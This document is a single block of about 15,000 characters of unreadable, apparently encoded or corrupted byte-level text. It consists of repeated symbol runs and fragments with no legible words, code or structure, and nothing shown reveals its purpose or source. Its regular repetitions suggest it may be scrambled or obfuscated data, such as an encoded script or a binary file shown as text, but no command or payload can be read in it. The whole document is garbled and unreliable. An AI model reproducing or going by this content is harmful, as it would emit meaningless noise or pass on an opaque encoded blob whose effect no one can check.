X_E\ZU^DEIT _ZYX6JJ0DVgMMELI^ ^ UDMMMMg    ^U]EIT _ZYX6JJ0AMMMMME_\XF_]XDDVggMMMMI^ ^ UMMMMPMM__2EIT _ZYX6JJ0DVgggMMMMMMMET2_\_\E\UYUDE[_
 E\UZ^DDDM-2	EIT _ZYX6JJ0AMDVgggMMMMMMMI^ ^ UVgMMMgggMMMMMMELYY2T  ^\EIT _ZYX6JJ0AMMMMI[T\\ ]ZDDMMMMMMVgMMMME2[
^E\UYUDE2[
^E\UZ^DDDMM-2	EIT _ZYX6JJ0AMMMDVI	\ZX^P=%=2 ,'"?2;(?>$"#VI\2^TPI	\ZX^GYVgMMMMMMMMMMMMMVgMggMM\Y2Z  EDgMMMMMgMMMMMMMEL[_
 E\UZYDE[_
 E\UY]DDDMMMMMVgMMMIT^U
]T2^	MMPMM-
2E]]
X_E\UZXDAMMEDDVgMMMMEL[_
 E\UX_DEIT^U
]T2^	DDMVgMMMMELEIT^U
]T2^	6]]
X_E\U[XD0DMMMMMML[_
 E\UX_DEIT^U
]T2^	6]]
X_E\U[XD0DDMMMMggggI	Z^ \Y	MMMPMMMMEDVgMMMMEEIT^U
]T2^	6JJ0AMMMMMMIT^U
]T2^	6JJ0AMMMMIT^U
]T2^	6JJ0DDMMgI	Z^ \Y	62[
^E\U^XDEE
DMIT^U
]T2^	6JJ0D0MMMMPMEJJMMMMPSMMME
DMMMIT^U
]T2^	6JJ0AMMJJMMMPSMMMMMME
DMMMMMMIT^U
]T2^	6JJ0AMMMMJJMPSME
DMMIT^U
]T2^	6JJ0AMM]]
X_E\U[YDMMPSMMEIT^U
]T2^	62[
^E\U[YD0DMMRMMMMMMEDMMIT^U
]T2^	6[_
 E\U[YD0MMMMMMWMM[_
 E\Z\XDEDAMM]]
X_E\UXXDMMPSMM]DVgMMMMgMMMMMMIT^U
]T2^	MMPMME2[
^E\U[XDMMMMPSMI	Z^ \Y	DVgMMggMMMMMMMMME EIT^U
]T2^	62[
^E\U[XD0DDMMg-	2E2[
^E\UZXDDVggMMVgMMMMMMMgggMMMMMMMMI2[^]MPMMVgMMEI2[^]DMMVgMMI2[^]MPMMMVgMME]]
X_E\UZYDE]]
X_EY^^DDDM-2[
^EY^^DEDVgMME2[
^E\UZYDE]]
X_E\UZ[DDDMMM-2[
^E\UZ[DEDVggMMMMMME]]
X_E\UZZDE2[
^EY^XDDDMMM-2[
^E\UZUDEDVgMMMMMMEL]]
X_E\UZTDE[_
 E\U[ZDDMMMMMML]]
X_E\UZTDE2[
^EZZ]DDDMVgI	_^ MPMMMMM 2EJBJDVggggI
^\ZYUU_MMPMMMT2_\_\E\UZTDE2[
^E[]TDDMMMRMMMM2
2EDMMMWMMI	_^ MMMCM[_
 E[]ZDVgMMMI\[\YY MMMPMMMMMVgMIY2	
2MMPMMVgMI
\]ZMMPMME\[Y3\[ZDVggMEIT^U
]T2^	62[
^E\U[XD0MMMMMIUTY2MPSMMMMMIT _ZYXDMgMEL]]
X_E\UU]DEIT _ZYXDMMM EIT _ZYX6JJ0DMMMMM EIT _ZYX6JJ0DMMMMMM EIT _ZYX6JJ0DDMgMMMMEIT^U
]T2^	62[
^E\U[XD06IUTY20DVgI\[\YY MPMMMVgMMMVgMMgBBM:=M>M/WMM 	ggMMMMMMMME]]
X_E\Z\XDEDM@MMMMEDMMIT _ZYX6[_
 E\U[YD0MSMME\ZUZF\^DMMMMMMEDMMMIT _ZYX6T2_\_\E\UXXD0MMMMSPMEZ@\DDMMg]Y\
\[ZE[_
 E\UXUDAM[_
 E\UU\DMMCMMMM[_
 E\Z[\DEIT _ZYX6JJ0DDVgM__2EIT _ZYX6JJ0DVgEIT^U
]T2^	6[_
 E\U[XD06IUTY20DVgMMMMI\[\YY MPMMMVgVgMMMMMMgMMMMMMMMMMMMEI
\]ZMMQPMMM]DMMMMVgMMMI
\]Z@@VgMMI\]_MMPMM2[
^E\UU_DMMMCMM]]
X_E\UU^DEIT _ZYX6JJ0DMCM2[
^E\UUYDMCMM]]
X_E\[TZDEEX\YXFTYUXXDAME]UUZ_TF][\[DDVgEI]_]XAMMIZXZY\ DMMPMMMM \U_^YEI	_^ MCMMMMMI\]_DVgggMMMMMMMMMEI]_]XMSMM]DMMIY2	
2MMMMPMVggggMMMMMMMMMMMMEI]_]XMMMQPMM]MKKMMMM[_
 E\UZTDE2[
^E\\XXDDDM]]
X_E\\XXDE_DVgMMMMMMEI]_]XMMMQPM]DMMMMgMEI]_]XAMMIZXZY\ DMMMMMPMMM \U_^YEI	_^ MMMMCMI\]_DVgMMMMEI]_]XMMSMMMM]DMMMMMMIY2	
2MPMMMVggggMMMMgMMMMEI]_]XMQPMMMM]DMMMgMMMIT^U
]T2^	6T2_\_\E\UUXD06IUTY206T2_\_\E\UXXD0FFVI
^2[PUUFZ]VI2X
T^UZ2PI
^2[@^^VggggI\[\YY MPMVgggVgMMMMMgggMMMEI]_]XMMSPME^U]F\_]DDMMgMMMMMEY 
\U 2^UEIT _ZYXDDMMMMgggM]Y\
\[ZET2_\_\E\UXUDAMMM[_
 E\UU[DMMCMMM2[
^E\UUZDEIT _ZYX6JJ0DDVgM__2EIT _ZYX6JJ0DVgMMMEIT^U
]T2^	6]]
X_E\UUXD06IUTY20DVgMMMMMMMMMMMMMgMIT^U
]T2^	62[
^E\UUXD06IUTY206[_
 E\UXXD0FFVgMMgMMI\[\YY MMMMPMMMMVggggMMVgMMMMMggMgMET2_\_\E\UUUDEIZXZY\ AMMMMM2[
^E\UUTDMMCMMIT _ZYX6JJ0MCMMM[_
 E\UYZDDMMLPPMDMMgMM__2EIT _ZYX6JJ0DVggggMEIT^U
]T2^	62[
^E\UUXD06IUTY20DVgMMI\[\YY MMMMPMVgMVgMMMMgggMMMMMMMEI\Y\AMMI 	_Y\DMMPM \U_^YEI
^\ZYUU_MMMCMME[_
 E\UUUDEI
^\ZYUU_AMMMMJRJDMMMMPPPMMMMMMRMMJRJMMWMMMMMJKJDMMMCMMM2[
^E\UT]DMMCMMMMM]]
X_E\UU^DEIT _ZYX6JJ0DMMMCM[_
 E\UUYDMMCM[_
 E\[TZDEETTTZUF__DAMMMEY]T_XUFXT]ZY\DDDVgMMEI\Y\MMSMM]DMIY2	
2MMPMMMMMMVgMMMMMEI\Y\MMMSPMEYUZF\^DDMMMMMggMMEY 
\U 2^UEIT _ZYXDDMMMMgMMMM]Y\
\[ZET2_\_\E\UXUDAMM]]
X_E\UT\DMMMCM2[
^E\UT_DEIT _ZYX6JJ0DDVgMMMMMMM__2EIT _ZYX6JJ0DVgMEIT^U
]T2^	6[_
 E\UUXD06IUTY20DVgMMMgMMIT^U
]T2^	6T2_\_\E\UT^D06IUTY206]]
X_E\UXXD0FFVggMMMgggMI\[\YY MMPMMMMMMVgVggggMMMgMMMMMMMET2_\_\E\U_ZDEI 	_Y\DMMKKMMT2_\_\E\UUUDEI 	_Y\AMMMM[_
 E\UUTDMMMCMMIT _ZYX6JJ0MMMCMMM2[
^E\UTYDDMMLPPMMDMgM__2EIT _ZYX6JJ0DVgMEIT^U
]T2^	6[_
 E\UT^D06IUTY20DVggggMI\[\YY MPMMVgVgggMgIT^U
]T2^	6]]
X_E\UT^D06IUTY2062[
^E\UXXD0FFVgI\[\YY MPMMMMMVgMMMMgMMMMMEIY2	
2MKKMI\[\YY MMKKMML EIT^U
]T2^	6]]
X_E\UTXD0DDMMggIUU\
MMMMPMMMVgMMMMMMEIT^U
]T2^	62[
^E\UT[D0MMMMMMI[T2 Y ^DMgMMEEDMMI[T2 Y ^6[_
 E\UTZD0MMSPMMMME]_F]\DDMggMMMMIUU\
MMMMMPMVgggMVgggggMMMMMEIUU\
DMMMMMgg-	2ET2_\_\E\UYTDAM2[
^E\UTUDMMMMCM[_
 E\Z\XDEDAMT2_\_\E\Z\ZDDVg]Y\
\[ZET2_\_\E\UXUDAMMMMM2[
^E\UTTDDVgMMMMMMEIT^U
]T2^	62[
^E\T]]D0MMMMMIZ2UZXMPSMI[T2 Y ^DMMgMMMMMM__2EI[T2 Y ^6JJ0DVgEIT^U
]T2^	62[
^E\T]]D06IZ2UZX0DVggMMMgMMMMMMELIY2	
2DMgBBMM  MM=%=MggMMMIZ][MMMMMPM-
2E2[
^E\T]\DAMMOODVgMMMMEL]]
X_E\T]_DEIZ][DMMMMMMT2_\_\E\UUUDEIZ][AMM[_
 E\T]^DDMMLPPM]DM-	2E]]
X_E\T]\DAMM2[
^E\T]YDMMCMMMM]]
X_E\Z\XDEDAMT2_\_\E\Z\ZDDVggggMMgMMMME EIT^U
]T2^	6]]
X_E\T]XD0DDMM-	2E[_
 E\UZXDDVggggMMMMMMMMMMMEI\[\YY DMM-	2E]]
X_E\UZXDAMMMIT^U
]T2^	AMMMM2[
^E\Z\ZDDVgMMMMMgMMMMM \[UUEI	]_[	DgggMMggMMMT2_\_\E\T]_DEI	]_[	DMMMMMMKKMMMME[_
 E\UUUDEI	]_[	AMMT2_\_\E\T][DDMMLPPMMMMMMMMMM]]
X_E\UUUDEI	]_[	AM]]
X_E\T]ZDDMMLPPMMMM]]
X_E\T]UDEI	]_[	AMM[_
 E\X[^DDMMMMLPPMMMM[_
 E\T]UDEI	]_[	AMMMM[_
 E\T]TDDMMMMMMLPPMMMMMMMMM2[
^E\T]UDEI	]_[	AMM[_
 E\XTXDDMMMMMLPPMMMMMMMMM[_
 E\T]UDEI	]_[	AM2[
^E\T\]DDMLPPMMMMMMDVgMMgMMMMMMMZ_ZX[EI	]_[	DgMMgBBM:=M/.WM@
M@ggggMMMMEL \[UUEI	]_[	DDMMMMMMMMVgMMMMEY X^EI	]_[	DDMMMMVgMMET2_\_\E\U^ZDE]]
X_E\T\\DAMI	]_[	AMMMMMMI__^\\DDMMMMgBBM:	=M[C[MM	
MMggMMMMMEI__^\\6\0MMMMI^	]X\T^2DMMgMMMMMME2 EI^	]X\T^2AMMT2 _U_ EDAMMMJQJDDMMMMMMVgMgMVgMgMMMMMMMVI]]ZXXP^ZFXUVIZ[
XZ[PI]]ZXX@^]VggggMMgMMMMMMX]Z^T[[U	EI 2YZUDgMMMMMgMMEL-]]
X_E\ZU^DEI 2YZUDMMML-[_
 E\[Z\DEI 2YZUDDMMVgMMMITX	UZMPM-T2_\_\E\ZX\DEI 2YZUDVgMMMMMELITX	UZDMMMVgMMEITX	UZMMMMSME\]YUXZ]^FXZDDMgMI ^^MPM-[_
 E\ZUXDEI 2YZUAMMAMMAMM]AMMMME[XYXXFU\DDVgMMMEL \[UUEI ^^DDMMMMVgMMMMMME	TZ^_Z][UEI 2YZUDMPPPMMMDMMMMMg]Y\
\[ZE[_
 E\T\_DAMM[_
 E\T\^DMMMMMMCM]]
X_E\UT_DEI 2YZUDDVgVggggMgMMMM-T2_\_\E\T\YDEI 2YZUAMMOQR1ODVgMMMMMMME]]
X_E\T\XDE2[
^E\UZ^DDDM-2	EI 2YZUAMMDVgMVggMEITX	UZMSMME\]YUYTZFZTDDMgMMMIUT[ZZMMMPME
DM-[_
 E\ZUXDEI 2YZUAMMAMAMMM]AMMMEU\]]FT_DDVggggI
 XXU
MPMMMMEITX	UZMMSMMMEU\ZTF\^DDMMMMRME
DMMMMM-]]
X_E\ZUXDEI 2YZUAMMMAMMAMMMMMMITX	UZMMMM@MMMEU\[TF_^DDMMMWMOOVgMIXU

[MMPMMIUT[ZZMMMMMCMI
 XXU
VgMMEIXU

[MMLPPMMMOOMMKKMM2[
^E\U^ZDE]]
X_E\T\\DAMMMIXU

[AMMITZ2__DDMMMMgggIY]
Y	
2MPMMVgMMMMMMMEITZ2__6\0MMMMMI^	^_ZDMMMMMMgBBM">>!M^M	M MggMMMMME2 EI^	^_ZAMT2 _U_ EDAMJQJDDMMgMMMIY]
Y	
2MMMPMVgMMMMMMMVgMggggMMMMMMMMMMELIY]
Y	
2DMMMMVgMgMMMMMMgMI	]_[	MPMM-2[
^E\T\[DEI 2YZUDVgggME2[
^E\T]_DEI	]_[	DMMKKMMMMT2_\_\E\T\ZDEI	]_[	DMSME]ZXF]U]YDDMMI	]_[	MPMMMM2
	

EI	]_[	DVggMMMMMMMMMEL[_
 E\T]_DEI	]_[	DDMMMMMVgMMMMELZ_ZX[EI	]_[	DDMMMVgMM U EI 2YZUAMI	]_[	DVgMMMgMMM U EI 2YZUAMMI	]_[	DggI MMMMMPMMMT2_\_\E\[Y\DE[_
 E\T\UDAMMOOAMMMMMMI	]_[	DVggggMMMMMMMEL2[
^E\T\TDEI DMMMMMMM]]
X_E\Z[^DEI DMMPPPMOOMMMMM]]
X_E\Z[^DEI DMMMMMPPPMMMMM]]
X_E\ZYUDDMI MMMMPMMMMOQR1OVgMME2[
^E\T\ZDEI DMMMSPMEYTUF_DMKKML]TX^EI DDMMI MMMPMMMMMOQR1OVgMMMIX2 _[MMMPMMMMM- EI 2YZUDVgMIX2 _[MPMMMEIX2 _[MMPPPMMMMDMMRMMME[TU@_ZUDMMWMMMEIX2 _[MMKMEYXZFXYDDVgMI^Y
U[MPM-2[
^E\[XUDEI 2YZUDVgggMMMMMMI2]
_Z^MMPM-]]
X_E_YDE]]
X_E\^\_DEI 2YZUDAM]]
X_E\T_]DDVggMMMMMMMMMMMEI2]
_Z^MPPPMDMMVgMMMMME-]]
X_E\T\YDEI2]
_Z^AMI DMMMLPPMM2[
^E\T\ZDEI DDMMMgM-]]
X_EZX[DEI2]
_Z^DVgMVgMMgBBM- 	Mgg-2[
^E\ZDEI2]
_Z^AMMIX2 _[DVgMEL-2[
^E\T_\DEI2]
_Z^AMI 2YZUDDMgM-]]
X_EZX[DEI2]
_Z^DVgMMMMMMMMVggMMMMEI^Y
U[DM-2[
^E\TDEI 2YZUAMMMMI^Y
U[DVgMMMMMET2_\_\E\T\XDET2_\_\E\UZ^DDDM-2	EI 2YZUAMMMMDVgMMgMMMMMM	UYZ ZEI TU_]DgMMMMgMMMMMEL2[
^E\T__DEI TU_]DDMMMMMOOVgMMMMMMME2[
^E\T_^DE]]
X_E\T_YDAMI TU_]AMI]XZ2DDMMMI]^Z[ 2P\T\U]VI
T\2	PI]^Z[ 23___VgI 	^ZYZ[MPMMMMMI]XZ26\0VgggMMMMITX	UZMMMPMM-T2_\_\E\T_XDEI 	^ZYZ[DMMMRMMM-2[
^E\ZX\DEI 	^ZYZ[DMWM]VggggMMMMELITX	UZMMMITX	UZMMQMMEYYZFX^DMMMMMMITX	UZMMSMMEUUXU_TYX@^[\XY\YXDDMMMgMMMMMMEITX	UZMMMMMSMEY][__X[UF\\U][_^_DDMMMMgMIT]Z2MMMMMPMMMM-T2_\_\E\ZU]DEI 	^ZYZ[DVgMEL2[
^E\T__DEIT]Z2DDMMIT]Z2MMPMMMI 	^ZYZ[VgMMMMMIT]Z2MMPMMMM[_
 E\T_[DEJ11JAMMMMJBJAMIT]Z2DVggggMMI_[^^YTMPMMMVgggMI[ UMMMMMPMME		E]]
X_E\U^\DDMRMMT2_\_\E\T_ZDE,/>=,9%AM[_
 E\YT]DDMMWMMMMMOOAMMM		ET2_\_\E\T_UDDMMMMMRM2[
^E\T_ZDE:=2."#9(#92)$?AMMM[_
 E\T_TDDMMWMMMOODVggMMMMMMMEI[ UMMMMI^TXDMMMgMI^TXMPMMMMMT2_\_\E\T_[DEJ11JAMJBJAMMMMMI^TXDVgMMMEI^TXMLPPMMOOMKKMMM[_
 E\T^]DEIT]Z2AMMMI^TXMMMCMMJBJDMMMMPPPM]DMggI_[^^YTMPMMVgMVgMMgBBM:=M?(>9M,=$M_WMMggMgMMMMEI_[^^YTMKKMMM	TZ^_Z][UEI 	^ZYZ[DMMMLPPMMMMDMMgBBM ><!M'>"#MMMgI][
T]]P\_^YYVIX2_\Z2PI][
T]]3\UTVgMMM-[_
 EZX[DEI 	^ZYZ[DVgMMMM-]]
X_EZX[DE2[
^E\^\_DEI 	^ZYZ[DMCMMMMMMT2_\_\E\T[DMMMCM]]
X_E\T^\DEI 	^ZYZ[AM2[
^E\[Z^DDDVggMMMMMMMgM]Y\
\[ZE2[
^E\T^_DAMMMMM[_
 E\T^^DMMCMM]]
X_E\T^\DEI 	^ZYZ[DDVgMMMgMMMgMMMMMMOOVgMMgMgggMMMMMMI TU_]VgMMMgMMMMMM[]YZ UEDgMgMMMI 	^ZYZ[MPMMVIY_\Z PE]	TF]\DVI2YZ]TT PIY_\Z H^VgMMMMEI 	^ZYZ[MMMMPPPMDMMgMMI	]^\^
TMMPMM  __ Y_\EDVgI 	^ZYZ[MMPMMET2_\_\E\T^YDEI	]^\^
TDMMMMMKKMEI	]^\^
T62[
^E[_UD0DMMKKMM[_
 E\T^]DEE
DMMMI	]^\^
T6[_
 E[_UD0AMT2_\_\E\T^XDDMMPPPMM]DVgMMgMMMI 	^ZYZ[VggMMMMMMMT[U\YX
EDgMMMgMMEL		E[_
 E\U^\DDDMVgMMIYTX]	MMMMPMMMMMM,/>=,9%MMCMMM]]
X_E\T^[DVgMMMMMEL-]]
X_E\T_XDEIYTX]	DDMMgMMI]	\_MMMMMPMM[_
 E\T^ZDE,/>=,9%DMCMT2_\_\E\^\\DVgMMME-T2_\_\E\T^UDEI]	\_DDMIYTX]	MMPMI]	\_VgMgMMMMMMMMEL-2[
^E\T^TDEIYTX]	DMMML-]]
X_E\[Z\DEIYTX]	DDMMVgMMMIT]Z2MPMMM-T2_\_\E\ZU]DEIYTX]	DVgMMMME2[
^E\T__DEIT]Z2DMMKKMMMIT]Z2MMMMMLPPMMMMOOMMMMMMKKMM-[_
 E\TY]DEIT]Z2DDMIYTX]	MMMMPMMMMIT]Z2VgMMMMMMMMME-T2_\_\E\ZX\DEIYTX]	DMMSMMEY\TY_UYF_]DDMMMMMVgMI	]_[	MPMMMMMM-2[
^E\TY\DEIYTX]	DVgMMMEL2[
^E\T__DEI	]_[	DMMMMMI	]_[	MPPPMMOODMVgggMMMI	 U]TMMPMME[_
 E\T^]DEI	]_[	AMMMMMM[_
 E\TY_DDMMLPPMMMMMMMMMMM]]
X_E\T^]DEI	]_[	AMT2_\_\E\TY^DDMMMMLPPMMMMMMDVgMMI	XYMMPMMMMMVI\TPUX^YVI
ZT 	]PI\TH_VgMMMMET2_\_\E\TYYDEI	]_[	AMMT2_\_\E\TYXDDMMPPPMMMDMMMMggggMMMMMMMMMMMEL EI*!"/,!>6T2_\_\E\TY[D0DDMgI	XYMMMMPMVgMMMMMMMMMMMMgMMMMIT
\]YYU\MMMPMT2_\_\E\TYZDE[_
 E\\YDDMRM2[
^E\\YDEDMMMMWMM2[
^E_[DVgMMEL-]]
X_E\^T\DEIT
\]YYU\DMMML-2[
^E\TY]DEIT
\]YYU\DDMI	XYMMPMMMMMMVgggggMMMgMMMMIU^ 2
T	MMMMPMVgMMMMMMI2XZ	_TMMMMPMMMMMVggggMMMMMMMMELT2_\_\E\T_^DET2_\_\E\TYUDAMI	]_[	DMMMMKKMMM		E2[
^E\TYTDDDMMgMMMMMI2MMMMMPM:=2."#9(#92)$?MMMMCM2[
^E\TX]DVgME-]]
X_E\T^TDEI2DDMMMMMMgMI[		YMMMPMMMME
DMM-]]
X_E\TX\DEI2AMMAMMMMAMM]AMME_^TYF\Z]_DDVgggMMME]]
X_E\TX_DEI[		YAMMMMM]]
X_E\TX^DDMMMLPPMMDMMMMIU^ 2
T	MPMMMVggMMMMMMMMEgMMMM2[
^E\TXYDEI	]_[	AMM]]
X_EXZ]DDMMPPPMMgMKKMM]]
X_E\T_^DE[_
 E\TXXDAMMI	]_[	DgMMMMMMDMgMMI2XZ	_TMPMVgMMMMMMgggMI_X	YMPMMMMVgMMMME[]YZ UEDDMMMIUXYYYP__\UVI]_ZU
PIUXYYYHZVgMMMEgMMLT2_\_\E\TX[DE2[
^E\TXZDAMI	]_[	DgMLT2_\_\E\TX[DE2[
^E\TXUDAMMMMMI	]_[	DgMMMMML]]
X_E\TX[DE2[
^E\TXTDAMMMMI	]_[	DgDMI_X	YMMMMMPMMVgMMMMMMgggMMMELI	 U]TMMKKMMMLI	XYMMKKMMLIU^ 2
T	MKKMMLI_X	YMMKKMLI2XZ	_TDMMVI	ZXPUF[TVI 2  
\\PI	ZX@TVgIX[MMMMMMPMMOOVgggMMMMI MPMMI	]_[	VgMMMEI	 U]TDMMggggME]]
X_E\T[]DE]]
X_E\T[\DAMI	]_[	AMMI__UZZ  [
DDMMMIX[MMMMCPMT2_\_\E^Z]DEO1OAMMI__UZZ  [
6]0DVgMI MMPMMMMM]]
X_E\[Y\DE[_
 E\T[_DAMMOOAMMMMI	]_[	DVgggMMMMMMMMEL]]
X_E\T__DEI DDMMMVgMMMET2_\_\E\T[]DE2[
^E\T[^DAMI AMMI\
 2YZDDMIX[MMMCPMO1OMCMM[_
 E\T[YDEO1OAMMI\
 2YZ6]0DVgMI MPMMMT2_\_\E\T[XDE[_
 E\T[[DAMMOOAMMMMMMI DVgMMMMELT2_\_\E\T[ZDEI DDMMMVgMMMMgMMEI	XYMMMMMMKKM[_
 E\TX[DE[_
 E\T[UDAMMI DDMggMMI MMMMMPM2[
^E\T[XDE2[
^E\T[TDAM]]
X_E\TZ]DMMMMMCMO	EMJ:=29( =2)$?JAMEM		EMJ:=2."#9(#92)$?JMDMRM:=2."#9(#92)$?MWM,/>=,9%MCMJ@JMDMCMJBC2 JMDV1OAMI AM\DVgMMMEL]]
X_E\T[ZDEI DDMMMMMVgggMMMMMgMMMMEIU^ 2
T	MMKKMMMMM[_
 E\TZ\DE2[
^E\T[UDAMMMMMI DDMgI MMMPMMMMM2[
^E\T[XDE]]
X_E\TZ_DAMMMMMT2_\_\E\TZ]DMMMMMCMMMO	EMJ:=2.,.%(JAMMDVMBGM>.2:.MGB1OAMMMMMI AMMMMM\DVgMMMMEL]]
X_E\TZ^DEI DDMMVgMMMMMMMMMEI2XZ	_TDMMMgMI MMMPMMMT2_\_\E\T[XDE]]
X_E\TZYDAMMMMT2_\_\E\TZ]DMMCMO	EMJ:=2.,.%(JAMMDVMBGM>.2:.MGB1OAMMMI AM\DVgMMMMMMMMMEL[_
 E\TZXDEI DDMMMMVgMMMgMMEI_X	YDMMgMMMMMMMI MMMMPM2[
^E\TZ[DE[_
 E\TZZDAMOOAMMI DVggMMMMELT2_\_\E\TZUDEI DDMMMVgMMMMMME[_
 E\TZ\DE[_
 E\TZ_DAMI DDMI	P@UT]VI		Z2XPEI	S]DRI	W@I	VgMMMMMMMI MPMM]]
X_E\TZ[DE[_
 E\TZ_DAMMMM2[
^E\TZ]DMCMMO	EMJ:=2)(/8*JAMMDV1	EMJ:=2)(/8*2!"*JAMMDV1	EMJ:=2)(/8*2)$>=!,4JAMMDV1OAMMI AM\DVgMMMMMEL[_
 E\TZTDEI DDMVgMMMMMggMMMMgMMMEI MPPPMMI	]_[	DMVgMMMMMMMEL]TX^EI DDMMMMMVgMMMEIU^ 2
T	MKKMML_[_Z2^TEIYTX]	AMMI	]_[	DDMgMM]Y\
\[ZE[_
 E\TU]DAM[_
 E\X[\DDVgMMMI MMPM]]
X_E\TU\DET2_\_\E\TU_DAM]]
X_E\TU^DAMMI AMMM\DVgMMEL[_
 E\TZTDEI DMMMMMMMI MPPPMMI	]_[	DMMMVgggMMMEL]TX^EI DDMMMVgMMggMMMMMIX2 _[MMPMM- EIYTX]	DVgIX2 _[MPMEIX2 _[MMMMPPPMMMMMMDMMMMRMMEY]^F\ZDMWMMMEIX2 _[MMMMKMMMEUYZ@^^[DDVgMMI^Y
U[MMMPMM-]]
X_E\[XUDEIYTX]	DVgMMMMMI2]
_Z^MMMPMM-]]
X_E\TUYDE]]
X_E\T^ZDEIYTX]	DAMMM]]
X_E\TUXDDVgggMMMMMMMMMEI2]
_Z^MPPPMMDMMMVgMMMMMME-]]
X_E\T\YDEI2]
_Z^AMI DMMLPPMMMT2_\_\E\T\ZDEI DDMMMMI UP=%=2$#92 ,5B=%=2$#92 ,5VI YTTPI UF\Vg-T2_\_\EZX[DEI2]
_Z^DVgMMMMVgMMMMMMMMg-2[
^E\ZDEI2]
_Z^AMMMIX2 _[DVgMMMMMMMEL-]]
X_E\TU[DEI2]
_Z^AMMMIYTX]	DDMMgMMMMM-2[
^EZX[DEI2]
_Z^DVgMMVggMMEI^Y
U[DMM-]]
X_E\TDEIYTX]	AMMMMMI^Y
U[DVgMMMMMMME[_
 E\TYZDE2[
^E\UZ^DDDM-2	EIYTX]	AMDVgMMMMMMME]]
X_E\T[]DET2_\_\E\TUZDAMIX[AMI2[TDDMggggME2[
^E\_U[DEI2[T6\0DMMMIUDMgMMME]]
X_E\TUUDEIUAM]]
X_E\TUTDDMPPPMMMMM]MKKMMM-2[
^E\T^TDEIUDDMM-[_
 EZX[DEIUDVgggMMMMgMMMMME]]
X_E\TYZDE]]
X_EUT^DDMMKKMMMM2[
^E\T[]DET2_\_\E\TT]DAMMMIX[AMMMMIY
	2
DDMMgggMMMMMMMET2_\_\E\_U[DEIY
	2
6\0DMMMI]^	\ DMMMgMMMMME]]
X_E\TZ\DE]]
X_E\TT\DAMI]^	\ DDMMMMM-	2EI]^	\ DVgMgMMMMMMgMMggMMMMU \	[\ZEDggMMMMggMMMMMMMMMEL		ET2_\_\E\TYTDDDMMMVgI\	
MMMMMMPMM		E[_
 E\TT_DDMMMMRMM:= 82=!8*$#2)$?MMMMMWMMM:=2."#9(#92)$?MMMMMCMM2[
^E\XDVgMI	Y][MMPMMMEDVgMMMME2[
^E\TYZDET2_\_\EUY[DDDMMMgggMMMMMME-[_
 E\^T\DEI\	
DDMMMMEEDMM-[_
 E\TT^DEI\	
MCM]]
X_E\TTYDDMMMMMMI]22	X _DMMI	Y][60MMMMMPMMMI]22	X _VgMMMMME		E[_
 EU__DDMMKKMM-2[
^E\^T\DE:=2=!8*$#2)$?DDMMMMMMMEEDMMM-]]
X_E\TT^DE:=2=!8*$#2)$?MCMM]]
X_EYU[DDMMMMMMMI]22	X _DMMMMMI	Y][60MMPMMMMMI]22	X _VgggMgI	Y[_XU _MPM		E[_
 E\U^\DDMRM,/>=,9%MMMWMOOVggggMMI		_XMMPMM:=2."#9(#92)$?MMMMCM2[
^EYXDMCMM]]
X_E\TTXDET2_\_\E\U^XDEI	Y[_XU _MCMMM]]
X_E\^UDDAMM]AMMME\_Y3\\[DDMMMMCMMMT2_\_\EYUDMMMCM[_
 E\TTXDE]]
X_E\U^XDEI	Y[_XU _MMMCMMT2_\_\E\TT[DDAMM]AMME_]X3\TZDDMMCMM[_
 E\TTZDVgMMMMMMME-2[
^E\T^TDEI		_XDDMMI	Y][60MMMPMI		_XVggMMMMMMEI	Y][MMMI]22	X _DMMgMMI^Y
U[MPMM-T2_\_\E\[XUDEI]22	X _DVgMELI^Y
U[MMMEI^Y
U[MMMHMME\Y\\YX@Y\\YXDDMLPPMMET^ZZUFY\DDMMgMMMMMI[	UMMMMPMMM-]]
X_E\ZX\DEI]22	X _DVgMMELI[	UMMMMMMMI[	UMMMQMMEY[TF^\DMMMMMI[	UMMSME]	Y	T]F]_Y^_Z]DDMVgMMMMMgMMIT]Z2MMMMMPMMMM-]]
X_E\ZU]DEI]22	X _DVgMIX 
 TMPMMM-]]
X_E\ZU]DETXXEDDVgMME[_
 E\TZTDEIT]Z2DMMMMMMKKM[_
 E\TZTDEIX 
 TDMMMMMKKMMMIT]Z2MMMPPPMIX 
 TDMMMVgMI
[]	MMMPMMMMM-2[
^E\TX\DEI]22	X _AMMAMMAMMM]AME]X	F]\^DDVgMELT2_\_\E\TTUDEI
[]	DMMMMT2_\_\E\TUUDEI
[]	AMMMT2_\_\E\T\]DDMMPPPMMMDMMMVgggMMMMMMMMMMELT2_\_\E\TZ\DE[_
 E\U]XDAMMMI
[]	AMMMITZ2__DDMMMMMMVgMEL2 EITZ2__6\0AMMMMMT2 _U_ EDAMMJQJDDMMVgMMMMMI
	 
MMMPMM	TZ^_Z][UEI]22	X _DVggMMMMMMEI
	 
MPPPMMMMMDMMMMMMgMMMMM]Y\
\[ZET2_\_\E\T^_DAMM[_
 E\TTTDMMMMMCMMMM]]
X_E_]]]DEI]22	X _DDVgVgMMgMMEI
	 
MPPPMDMgME X 
Y\^	EI]22	X _AMMI]22	X _MMMMMMCMMMT2_\_\E_]]\DDDMMMMgBBM		M@MM:=M( 	M/gggME[_
 E_]]_DE2[
^E\UZ^DDDMM-2	EI]22	X _AMMMDVgMgBBM	 MggMMM-2[
^EZX[DE2[
^E_]]^DEI]22	X _DMCM[_
 E\T[DMMMCMM[_
 E_]]]DEI]22	X _AMMT2_\_\E\TTZDDDVgMMVggMMMMM-2[
^EZX[DEI]22	X _DVgggM-2[
^EZX[DE]]
X_E_]]YDEI]22	X _DMMCMMMMM[_
 E\T[DMMMMCMMT2_\_\E_]]XDEI]22	X _AMMM]]
X_E\TTZDDDVgMMMMMME[_
 E_]]_DET2_\_\E\UZ^DDDMMM-2	EI]22	X _AMMMMDVggMMMMMMMT[U\YX
EDVgMMI ^
TX	MMPMMM:=2."#9(#92)$?MCM]]
X_E\_XUDVgMME-2[
^E\^T\DEI ^
TX	DMMKKM[_
 E_]]_DET2_\_\E_]][DDDMMgggMMEEDMMMM-T2_\_\E_]][DEI ^
TX	MCM2[
^E_]]ZDDMMMI \[\YTDMgMMMMMMMMMEL-]]
X_E\T^TDEI \[\YTDMMMMMMML-T2_\_\E\TY]DEI \[\YTDDMMMVgI2 U^
MMMPMM-]]
X_E_]]UDEI \[\YTDVgggMMMMELI2 U^
MMMMMMI2 U^
MMSMMMME_]TZ]Z[FZ[DDMMMMVgMI^UT\ZUXMPM-T2_\_\E\TX\DEI \[\YTDVgMMMELT2_\_\E_]]TDEI^UT\ZUXDDMMMMMMVggggMMMET2_\_\E\TUUDEI^UT\ZUXAM2[
